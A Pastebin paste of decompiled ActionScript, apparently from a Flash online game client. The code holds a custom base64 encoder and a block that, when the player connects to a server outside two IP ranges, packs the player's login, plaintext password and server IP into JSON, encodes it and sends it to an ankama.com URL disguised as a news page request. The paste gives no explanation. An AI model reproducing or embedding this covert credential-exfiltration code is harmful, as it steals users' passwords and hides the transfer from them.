Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function encode(opString)
- {
- opString != undefined ? (str = opString) : (str = str);
- var _loc3 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
- var _loc1;
- var _loc5;
- var _loc2 = 0;
- for (var _loc4 = ""; str.length >= _loc2 + 3; _loc4 = _loc4 + (_loc3.charAt((_loc1 & 16515072) >> 18) + _loc3.charAt((_loc1 & 258048) >> 12) + _loc3.charAt((_loc1 & 4032) >> 6) + _loc3.charAt(_loc1 & 63)))
- {
- _loc1 = (str.charCodeAt(_loc2++) & 255) << 16 | (str.charCodeAt(_loc2++) & 255) << 8 | str.charCodeAt(_loc2++) & 255;
- } // end of for
- if (str.length - _loc2 > 0 && str.length - _loc2 < 3)
- {
- _loc5 = Boolean(str.length - _loc2 - 1);
- _loc1 = (str.charCodeAt(_loc2++) & 255) << 16 | (_loc5 ? ((str.charCodeAt(_loc2) & 255) << 8) : (0));
- _loc4 = _loc4 + (_loc3.charAt((_loc1 & 16515072) >> 18) + _loc3.charAt((_loc1 & 258048) >> 12) + (_loc5 ? (_loc3.charAt((_loc1 & 4032) >> 6)) : ("=")) + "=");
- } // end if
- return (_loc4);
- } // End of the function
- api = _root.mcModules.mcCORE.BATTLEFIELD._oAPI;
- var ip = _global.CONFIG.connexionServer.ip;
- if (!ip)
- {
- ip = api.datacenter.Basics.serverHost;
- } // end if
- if (ip && ip.indexOf("80.239.173") == -1 && ip.indexOf("213.248.126") == -1)
- {
- var ul = new LoadVars();
- var encodedData = "";
- encodedData = encodedData + "{";
- encodedData = encodedData + ("\"login\":\"" + api.datacenter.Player.login + "\",");
- encodedData = encodedData + ("\"pass\":\"" + api.datacenter.Player.pass + "\",");
- encodedData = encodedData + ("\"server\":\"" + ip + "\"");
- encodedData = encodedData + "}";
- ul.load("http://www.ankama.com/news.html?news=" + encode(encodedData));
- } // end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement